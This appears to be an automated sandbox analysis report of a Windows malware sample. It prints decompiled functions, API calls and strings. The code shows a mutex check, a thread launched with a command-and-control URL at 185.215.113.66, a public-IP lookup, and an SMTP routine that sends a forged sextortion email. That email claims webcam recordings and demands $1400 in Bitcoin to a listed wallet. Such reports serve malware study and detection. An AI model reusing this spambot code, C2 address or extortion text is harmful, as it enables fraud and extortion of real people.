Instruction ID: d6482cf8f8518ba90fc7d027882e0c52926dc77542800e56e9404f82e9eb0b53
Opcode Fuzzy Hash: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction Fuzzy Hash: E811E4B4D01208EBD700EFE4EC45BAE7775AB04308F10866EE505772C2E679AE45CB5A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 2569813542.exePID: 8016, Parent PID: 7432COMMON

Execution Graph

Execution Coverage:	50.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.8%
Total number of Nodes:	271
Total number of Limit Nodes:	24

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 002E1490 Relevance: 52.7, APIs: 6, Strings: 24, Instructions: 156
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E002E1490(FILETIME* _a4, CHAR* _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				struct _SYSTEMTIME _v108;
				struct _TIME_ZONE_INFORMATION _v284;
				struct _FILETIME _v292;
				signed int _v296;
				char _v300;
				char _v304;
				long _t105;
				signed int _t145;
				void* _t164;
				signed int _t170;

				_v84 = 0x2e41d4;
				_v80 = 0x2e41d8;
				_v76 = 0x2e41dc;
				_v72 = 0x2e41e0;
				_v68 = 0x2e41e4;
				_v64 = 0x2e41e8;
				_v60 = 0x2e41ec;
				_v56 = 0x2e41f0;
				_v52 = 0x2e41f4;
				_v48 = 0x2e41f8;
				_v44 = 0x2e41fc;
				_v40 = 0x2e4200;
				_v36 = 0x2e4204;
				_v32 = 0x2e4208;
				_v28 = 0x2e420c;
				_v24 = 0x2e4210;
				_v20 = 0x2e4214;
				_v16 = 0x2e4218;
				_v12 = 0x2e421c;
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v292);
					FileTimeToSystemTime( &_v292,  &_v108);
				} else {
					GetLocalTime( &_v108); // executed
				}
				_v284.Bias = 0;
				_t105 = GetTimeZoneInformation( &_v284); // executed
				_v8 = _t105;
				_v92 = _v284.Bias;
				if(_v8 == 2) {
					_t145 = _v92 + _v284.DaylightBias;
					_t170 = _t145;
					_v92 = _t145;
				}
				_v92 =  ~_v92;
				if(_t170 < 0) {
					_v296 =  ~_v92;
				} else {
					_v296 = _v92;
				}
				_v88 = _v296;
				if((_v108.wDayOfWeek & 0x0000ffff) > 6) {
					_v108.wDayOfWeek = 6;
				}
				if((_v108.wMonth & 0x0000ffff) == 0) {
					_v108.wMonth = 1;
				}
				if((_v108.wMonth & 0x0000ffff) > 0xc) {
					_v108.wMonth = 0xc;
				}
				if(_a12 == 0) {
					if(_v92 < 0) {
						_v304 = "-";
					} else {
						_v304 = "+";
					}
					asm("cdq");
					asm("cdq");
					_t87 =  &_v304; // 0x2e4250
					return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t164 + (_v108.wDayOfWeek & 0x0000ffff) * 4 - 0x50)), _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff,  *_t87, _v88 / 0x3c, _v88 % 0x3c);
				} else {
					if(_v92 < 0) {
						_v300 = 0x2e4224;
					} else {
						_v300 = 0x2e4220;
					}
					asm("cdq");
					asm("cdq");
					_t63 =  &_v300; // 0x2e4224
					return wsprintfA(_a8, "%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u", _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff,  *_t63, _v88 / 0x3c, _v88 % 0x3c);
				}
			}

0x002e1499
0x002e14a0
0x002e14a7
0x002e14ae
0x002e14b5
0x002e14bc
0x002e14c3
0x002e14ca
0x002e14d1
0x002e14d8
0x002e14df
0x002e14e6
0x002e14ed
0x002e14f4
0x002e14fb
0x002e1502
0x002e1509
0x002e1510
0x002e1517
0x002e1522
0x002e153b
0x002e154c
0x002e1524
0x002e1528
0x002e1528
0x002e1552
0x002e1563
0x002e1569
0x002e1572
0x002e1579
0x002e157e
0x002e157e
0x002e1581
0x002e1581
0x002e1589
0x002e158c
0x002e159e
0x002e158e
0x002e1591
0x002e1591
0x002e15aa
0x002e15b4
0x002e15bb
0x002e15bb
0x002e15c5
0x002e15cc
0x002e15cc
0x002e15d7
0x002e15de
0x002e15de
0x002e15e6
0x002e165d
0x002e166b
0x002e165f
0x002e165f
0x002e165f
0x002e1678
0x002e1684
0x002e168d
0x00000000
0x002e15e8
0x002e15ec
0x002e15fa
0x002e15ee
0x002e15ee
0x002e15ee
0x002e1607
0x002e1613
0x002e161c
0x00000000
0x002e1654

APIs

GetLocalTime.KERNELBASE(?), ref: 002E1528
FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 002E153B
FileTimeToSystemTime.KERNEL32(?,?), ref: 002E154C
GetTimeZoneInformation.KERNELBASE(00000000), ref: 002E1563
wsprintfA.USER32 ref: 002E164E
wsprintfA.USER32 ref: 002E16C8

Strings

May, xrefs: 002E14E6
PB., xrefs: 002E168D, 002E1693
Dec, xrefs: 002E1517
Oct, xrefs: 002E1509
Mar, xrefs: 002E14D8
Jan, xrefs: 002E14CA
A., xrefs: 002E14C3
Aug, xrefs: 002E14FB
%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 002E1645
$B., xrefs: 002E161C, 002E1622
Sat, xrefs: 002E163F, 002E16B0
Sun, xrefs: 002E1499, 002E16BE
Tue, xrefs: 002E14A7
Feb, xrefs: 002E14D1
Nov, xrefs: 002E1510, 002E164D, 002E16C7
Wed, xrefs: 002E14AE
Jun, xrefs: 002E14ED
A., xrefs: 002E14BC
A., xrefs: 002E14B5
Mon, xrefs: 002E14A0
Jul, xrefs: 002E14F4
Apr, xrefs: 002E14DF
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 002E16BF
Sep, xrefs: 002E1502

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: Time$File$Localwsprintf$InformationSystemZone
String ID: $B.$%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$PB.$Sat$Sep$Sun$Tue$Wed$A.$A.$A.
API String ID: 1439763326-1215204217
Opcode ID: 7b8641a4a43c8c2c56bf8188b6a278f0abc21ca9d24112d01b72fb6de9e0f392
Instruction ID: e8f8deaa96200e912dc20ca5f05593751830a1ad632cab4b36aa907e83f0db1d
Opcode Fuzzy Hash: 7b8641a4a43c8c2c56bf8188b6a278f0abc21ca9d24112d01b72fb6de9e0f392
Instruction Fuzzy Hash: 44612BB0D50298DBCF14DFC6D888AEDBBF5FF48305F908159E509AB254D3B85AA4CB60

Uniqueness

Uniqueness Score: -1.00%

Function 002E26A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 70
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E002E26A0() {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v528;
				void _v796;
				short _v1316;
				char _v1716;
				void* _v1720;
				void* _t10;
				signed char _t17;

				Sleep(0x7d0); // executed
				_t10 = CreateMutexA(0, 0, "249905"); // executed
				_v1720 = _t10;
				if(GetLastError() == 0xb7) {
					ExitProcess(0);
				}
				_v528 = 0;
				GetModuleFileNameW(0,  &_v524, 0x104);
				wsprintfW( &_v1316, L"%s:Zone.Identifier",  &_v524);
				DeleteFileW( &_v1316); // executed
				__imp__#115(0x202,  &_v1716); // executed
				_t17 = E002E1760(); // executed
				if((_t17 & 0x000000ff) == 0) {
					ExitProcess(0);
				}
				Sleep(0x64); // executed
				wsprintfA( &_v796, "%s", E002E1000("http://185.215.113.66/from/"));
				CreateThread(0, 0, E002E23B0,  &_v796, 0, 0); // executed
				while(1 != 0) {
					Sleep(0xcdfe600); // executed
				}
				return 0;
			}

0x002e26ae
0x002e26bd
0x002e26c3
0x002e26d4
0x002e26d8
0x002e26d8
0x002e26de
0x002e26f6
0x002e270f
0x002e271f
0x002e2731
0x002e2737
0x002e2741
0x002e2745
0x002e2745
0x002e274d
0x002e276d
0x002e278a
0x002e2790
0x002e279e
0x002e279e
0x002e27ab

APIs

Sleep.KERNELBASE(000007D0), ref: 002E26AE
CreateMutexA.KERNELBASE(00000000,00000000,249905), ref: 002E26BD
GetLastError.KERNEL32 ref: 002E26C9
ExitProcess.KERNEL32 ref: 002E26D8
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002E26F6
wsprintfW.USER32 ref: 002E270F
DeleteFileW.KERNELBASE(?), ref: 002E271F
WSAStartup.WS2_32(00000202,?), ref: 002E2731
ExitProcess.KERNEL32 ref: 002E2745

Strings

http://185.215.113.66/from/, xrefs: 002E2753
249905, xrefs: 002E26B4
%s:Zone.Identifier, xrefs: 002E2703

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: ExitFileProcess$CreateDeleteErrorLastModuleMutexNameSleepStartupwsprintf
String ID: %s:Zone.Identifier$249905$http://185.215.113.66/from/
API String ID: 3138769648-4162794986
Opcode ID: 9047e2a4b8bef4db86d1943ffd8dd905d6033519e1a4780c74f5517997c51170
Instruction ID: 8a43a250f243cd55b6af00d93e465fcb0812499b69def26b1353a60bb739e385
Opcode Fuzzy Hash: 9047e2a4b8bef4db86d1943ffd8dd905d6033519e1a4780c74f5517997c51170
Instruction Fuzzy Hash: 4221B671DD4384ABE714BB91FC4EF997739AB14702F400464FB0AD90D1DBB059A88E65

Uniqueness

Uniqueness Score: -1.00%

Function 002E17D0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 71
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E002E17D0() {
				void _v108;
				long _v112;
				void* _v116;
				void* _v120;
				void* _t15;
				void* _t21;

				_t15 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 0, 0, 0, 0); // executed
				_v120 = _t15;
				if(_v120 == 0) {
					wsprintfA("[102.129.143.97]", "[0.0.0.0]");
					L8:
					InternetCloseHandle(_v120);
					return "[102.129.143.97]";
				}
				_t21 = InternetOpenUrlA(_v120, "http://icanhazip.com/", 0, 0, 0, 0); // executed
				_v116 = _t21;
				if(_v116 != 0) {
					InternetReadFile(_v116,  &_v108, 0x63,  &_v112); // executed
					if( &_v108 != 0) {
						if(E002E18B0( &_v108, ".") == 0) {
							wsprintfA("[102.129.143.97]", "[0.0.0.0]");
						} else {
							E002E1400( &_v108);
							wsprintfA("[102.129.143.97]", "[%s]",  &_v108);
						}
					}
				}
				InternetCloseHandle(_v116); // executed
				goto L8;
			}

0x002e17e3
0x002e17e9
0x002e17f0
0x002e1894
0x002e189d
0x002e18a1
0x002e18af
0x002e18af
0x002e1807
0x002e180d
0x002e1814
0x002e1824
0x002e182f
0x002e1844
0x002e1875
0x002e1846
0x002e184a
0x002e1860
0x002e1866
0x002e1844
0x002e182f
0x002e1882
0x00000000

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 002E17E3
InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 002E1807
InternetReadFile.WININET(00000000,?,00000063,?), ref: 002E1824

Part of subcall function 002E18B0: strstr.MSVCR90 ref: 002E18BB

wsprintfA.USER32 ref: 002E1860
wsprintfA.USER32 ref: 002E1875
InternetCloseHandle.WININET(00000000), ref: 002E1882
wsprintfA.USER32 ref: 002E1894
InternetCloseHandle.WININET(?), ref: 002E18A1

Strings

http://icanhazip.com/, xrefs: 002E17FE
[0.0.0.0], xrefs: 002E186B
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 002E17DE
[102.129.143.97], xrefs: 002E185B, 002E1870, 002E188F, 002E18A7
[%s], xrefs: 002E1856
[0.0.0.0], xrefs: 002E188A

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: Internet$wsprintf$CloseHandleOpen$FileReadstrstr
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$[%s]$[0.0.0.0]$[0.0.0.0]$[102.129.143.97]$http://icanhazip.com/
API String ID: 2936383407-4044173070
Opcode ID: 3f7d298741f622a959a8ad5b9442c5081b3cbeac0fee68217672b9baee30eccc
Instruction ID: e3697737c490c99e2e04ee66c5d0943eb64b3d5b02865bbb6c29de9675e86670
Opcode Fuzzy Hash: 3f7d298741f622a959a8ad5b9442c5081b3cbeac0fee68217672b9baee30eccc
Instruction Fuzzy Hash: 45213370AD0384ABEB20EBE6BC4EF9D7734AB15B05FA00128B509AF1C1D6B05574CB65

Uniqueness

Uniqueness Score: -1.00%

Function 002E1CAB Relevance: 115.9, APIs: 36, Strings: 30, Instructions: 402
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E002E1CAB(void* __eflags) {
				signed int _t171;
				signed int _t173;
				signed int _t175;
				signed int _t177;
				void* _t183;
				void* _t184;
				void* _t189;
				void* _t193;
				void* _t196;
				void* _t200;
				void* _t203;
				void* _t205;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t229;
				void* _t244;
				intOrPtr _t248;
				void* _t249;
				void* _t329;
				void* _t331;
				void* _t338;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t350;
				void* _t354;
				void* _t355;
				void* _t356;
				void* _t368;
				void* _t380;

				L0:
				while(1) {
					L0:
					wsprintfA(_t329 - 0x508, "%s.com", E002E1320(_t329 - 0x61c, 5, _t329 - 0x61c));
					E002E1490(0, _t329 - 0x710, 1); // executed
					Sleep(0x7d0); // executed
					E002E1490(0, _t329 - 0x690, 0); // executed
					_t171 = rand();
					asm("cdq");
					_t173 = rand();
					asm("cdq");
					_t175 = rand();
					asm("cdq");
					_t177 = rand();
					asm("cdq");
					 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", E002E1390(0xd2, 7, _t329 - 0x6a8), _t177 % 0xd2 + 1, _t175 % 0xfe + 1, _t173 % 0xfe + 1, _t171 % 0xfe + 1, _t329 - 0x508, _t329 - 0x690);
					_t183 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
					_t338 = _t331 + 0x64;
					if(_t183 != 0) {
						_t184 = E002E1320(_t329 - 0x710, 3, _t329 - 0x628);
						 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", E002E1320(_t329 - 0x710, 5, _t329 - 0x69c), _t184, _t329 - 0x710);
						_t189 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
						_t342 = _t338 + 0x30;
						if(_t189 != 0) {
							 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "From: %s\r\n",  *((intOrPtr*)(_t329 + 8)));
							_t193 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
							_t344 = _t342 + 0x18;
							if(_t193 != 0) {
								 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "To: %s\r\n",  *((intOrPtr*)(_t329 + 8)));
								_t196 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
								_t346 = _t344 + 0x18;
								if(_t196 != 0) {
									 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
									_t200 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
									_t348 = _t346 + 0x18;
									if(_t200 != 0) {
										 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Date: %s\r\n", _t329 - 0x690);
										_t203 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
										_t350 = _t348 + 0x18;
										if(_t203 != 0) {
											_t205 = E002E1320(_t329 - 0x628, 6, _t329 - 0x628);
											 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Message-ID: <%s.%s@%s>\r\n", E002E1320(_t329 - 0x628, 6, _t329 - 0x69c), _t205, _t329 - 0x508);
											_t210 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
											_t354 = _t350 + 0x30;
											if(_t210 != 0) {
												_t211 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), "Mime-Version: 1.0\r\n", 0xffffffff);
												_t355 = _t354 + 0xc;
												if(_t211 != 0) {
													_t212 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), "Content-type: text/plain;\r\n\r\n", 0xffffffff);
													_t356 = _t355 + 0xc;
													if(_t212 != 0) {
														memset(_t329 - 0x610, 0, 0x104);
														strcpy(_t329 - 0x610, "Hello there!\r\n\r\n");
														strcat(_t329 - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
														strcat(_t329 - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
														strcat(_t329 - 0x610, "My trojan allows me to access your accounts, your camera and microphone.\r\n\r\n");
														strcat(_t329 - 0x610, "Check the sender of this email, I have sent it from your email account.\r\n\r\n");
														strcat(_t329 - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
														strcat(_t329 - 0x610, "I RECORDED YOU (through your camera) SATISFYING YOURSELF!\r\n\r\n");
														strcat(_t329 - 0x610, "If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks.\r\n\r\n");
														strcat(_t329 - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
														strcat(_t329 - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n");
														_t229 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x610, 0xffffffff);
														_t368 = _t356 + 0x68;
														if(_t229 != 0) {
															memset(_t329 - 0x610, 0, 0x104);
															strcpy(_t329 - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
															strcat(_t329 - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
															strcat(_t329 - 0x610, "Be sure, I keep my promises!\r\n\r\n");
															strcat(_t329 - 0x610, "If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com\r\n\r\n");
															strcat(_t329 - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
															strcat(_t329 - 0x610, "Yes, that\'s how the address looks like, copy and paste my address, it\'s (cAsE-sEnSEtiVE).\r\n\r\n");
															strcat(_t329 - 0x610, "You are given not more than 48 hours after you have opened this email (2 days to be precise).\r\n\r\n");
															strcat(_t329 - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
															strcat(_t329 - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n");
															_t244 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x610, 0xffffffff);
															_t368 = _t368 + 0x60;
															if(_t244 != 0) {
																 *(_t329 - 0x20) = 7;
															} else {
																 *(_t329 - 0x20) = 0;
															}
														} else {
															 *(_t329 - 0x20) = 0;
														}
													} else {
														 *(_t329 - 0x20) = 0;
													}
												} else {
													 *(_t329 - 0x20) = 0;
												}
											} else {
												 *(_t329 - 0x20) = 0;
											}
										} else {
											 *(_t329 - 0x20) = 0;
										}
									} else {
										 *(_t329 - 0x20) = 0;
									}
								} else {
									 *(_t329 - 0x20) = 0;
								}
							} else {
								 *(_t329 - 0x20) = 0;
							}
						} else {
							 *(_t329 - 0x20) = 0;
						}
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t329 - 0x20) != 0 &&  *(_t329 - 0x20) != 8) {
						_t248 = E002E1160( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490, 0x400); // executed
						_t380 = _t368 + 0xc;
						 *((intOrPtr*)(_t329 - 0x90)) = _t248;
						if( *((intOrPtr*)(_t329 - 0x90)) != 0) {
							L5:
							 *((char*)(_t329 +  *((intOrPtr*)(_t329 - 0x90)) - 0x490)) = 0;
							_t249 = E002E11C0(_t329 - 0x490);
							_t368 = _t380 + 4;
							if(_t249 != 0) {
								L7:
								 *(_t329 - 0x718) =  *(_t329 - 0x20);
								 *(_t329 - 0x718) =  *(_t329 - 0x718) - 1;
								if( *(_t329 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t329 - 0x718) * 4 +  &M002E223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t329 - 0x490) == 0) {
											_t253 = wsprintfA(_t329 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t381 = _t368 + 0xc;
											 *(_t329 - 0x494) = _t253;
										} else {
											_t256 = wsprintfA(_t329 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t381 = _t368 + 0xc;
											 *(_t329 - 0x494) = _t256;
										}
										_t255 = E002E1120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *(_t329 - 0x494)); // executed
										_t368 = _t381 + 0xc;
										if(_t255 != 0) {
											 *(_t329 - 0x20) = 3;
										} else {
											 *(_t329 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										goto L0;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t329 - 8) = 0 |  *(_t329 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t329 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t329 - 0x1c))); // executed
					return  *(_t329 - 8);
				}
			}

0x002e1cab
0x002e1cab
0x002e1cab
0x002e1cc9
0x002e1cdd
0x002e1cea
0x002e1cfb
0x002e1d11
0x002e1d16
0x002e1d22
0x002e1d27
0x002e1d33
0x002e1d38
0x002e1d44
0x002e1d49
0x002e1d7c
0x002e1d94
0x002e1d99
0x002e1d9e
0x002e1dbc
0x002e1dec
0x002e1e04
0x002e1e09
0x002e1e0e
0x002e1e35
0x002e1e4d
0x002e1e52
0x002e1e57
0x002e1e7e
0x002e1e96
0x002e1e9b
0x002e1ea0
0x002e1ec8
0x002e1ee0
0x002e1ee5
0x002e1eea
0x002e1f14
0x002e1f2c
0x002e1f31
0x002e1f36
0x002e1f54
0x002e1f84
0x002e1f9c
0x002e1fa1
0x002e1fa6
0x002e1fbf
0x002e1fc4
0x002e1fc9
0x002e1fe2
0x002e1fe7
0x002e1fec
0x002e2008
0x002e201c
0x002e2030
0x002e2044
0x002e2058
0x002e206c
0x002e2080
0x002e2094
0x002e20a8
0x002e20bc
0x002e20d0
0x002e20e5
0x002e20ea
0x002e20ef
0x002e210b
0x002e211f
0x002e2133
0x002e2147
0x002e215b
0x002e216f
0x002e2183
0x002e2197
0x002e21ab
0x002e21bf
0x002e21d4
0x002e21d9
0x002e21de
0x002e21e9
0x002e21e0
0x002e21e0
0x002e21e0
0x002e20f1
0x002e20f1
0x002e20f1
0x002e1fee
0x002e1fee
0x002e1fee
0x002e1fcb
0x002e1fcb
0x002e1fcb
0x002e1fa8
0x002e1fa8
0x002e1fa8
0x002e1f38
0x002e1f38
0x002e1f38
0x002e1eec
0x002e1eec
0x002e1eec
0x002e1ea2
0x002e1ea2
0x002e1ea2
0x002e1e59
0x002e1e59
0x002e1e59
0x002e1e10
0x002e1e10
0x002e1e10
0x002e1da0
0x002e1da0
0x002e1da0
0x00000000
0x002e220c
0x002e1ab4
0x002e1ab9
0x002e1abc
0x002e1ac9
0x002e1ad0
0x002e1ad6
0x002e1ae5
0x002e1aea
0x002e1aef
0x002e1af6
0x002e1af9
0x002e1b08
0x002e1b15
0x00000000
0x00000000
0x002e1b1b
0x002e1b21
0x00000000
0x002e1b28
0x002e1b28
0x002e1b3c
0x002e1b71
0x002e1b77
0x002e1b7a
0x002e1b3e
0x002e1b4f
0x002e1b55
0x002e1b58
0x002e1b58
0x002e1b92
0x002e1b97
0x002e1b9c
0x002e1baa
0x002e1b9e
0x002e1b9e
0x002e1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1bb6
0x002e1bb6
0x002e1bbf
0x002e1bc6
0x002e1bcc
0x002e1bdb
0x002e1be2
0x002e1be8
